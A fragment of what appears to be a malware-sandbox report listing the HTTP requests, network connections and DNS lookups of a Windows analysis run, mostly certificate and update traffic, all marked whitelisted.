4476 | svchost.exe | GET | 200 | 2.17.190.73:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D | unknown | — | — | whitelisted |
1268 | svchost.exe | GET | 200 | 23.53.40.176:80 | http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl | unknown | — | — | whitelisted |
5372 | SIHClient.exe | GET | 200 | 23.35.229.160:80 | http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Product%20Root%20Certificate%20Authority%202018.crl | unknown | — | — | whitelisted |
2940 | svchost.exe | GET | 200 | 23.209.209.135:80 | http://x1.c.lencr.org/ | unknown | — | — | whitelisted |
5372 | SIHClient.exe | GET | 200 | 23.35.229.160:80 | http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Update%20Secure%20Server%20CA%202.1.crl | unknown | — | — | whitelisted |
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
4 | System | 192.168.100.255:137 | — | — | — | whitelisted |
5944 | MoUsoCoreWorker.exe | 20.73.194.208:443 | — | MICROSOFT-CORP-MSN-AS-BLOCK | NL | whitelisted |
1644 | RUXIMICS.exe | 20.73.194.208:443 | — | MICROSOFT-CORP-MSN-AS-BLOCK | NL | whitelisted |
1268 | svchost.exe | 20.73.194.208:443 | — | MICROSOFT-CORP-MSN-AS-BLOCK | NL | whitelisted |
4 | System | 192.168.100.255:138 | — | — | — | whitelisted |
4500 | results.exe | 104.26.3.158:80 | computernewb.com | CLOUDFLARENET | US | whitelisted |
4476 | svchost.exe | 40.126.31.129:443 | login.live.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
4500 | results.exe | 104.26.3.158:443 | computernewb.com | CLOUDFLARENET | US | whitelisted |
4476 | svchost.exe | 2.17.190.73:80 | ocsp.digicert.com | AKAMAI-AS | DE | whitelisted |
4500 | results.exe | 172.217.18.3:80 | c.pki.goog | GOOGLE | US | whitelisted |
DNS requests
Domain | IP | Reputation |
|---|---|---|
google.com |
| whitelisted |
computernewb.com |
| whitelisted |
login.live.com |
| whitelisted |
ocsp.digicert.com |
| whitelisted |
c.pki.goog |
| whitelisted |
settings-win.data.microsoft.com |
| whitelisted |
crl.microsoft.com |
| whitelisted |
www.microsoft.com |
| whitelisted |
client.wns.windows.com |
| whitelisted |
watson.events.data.microsoft.com |
| whitelisted |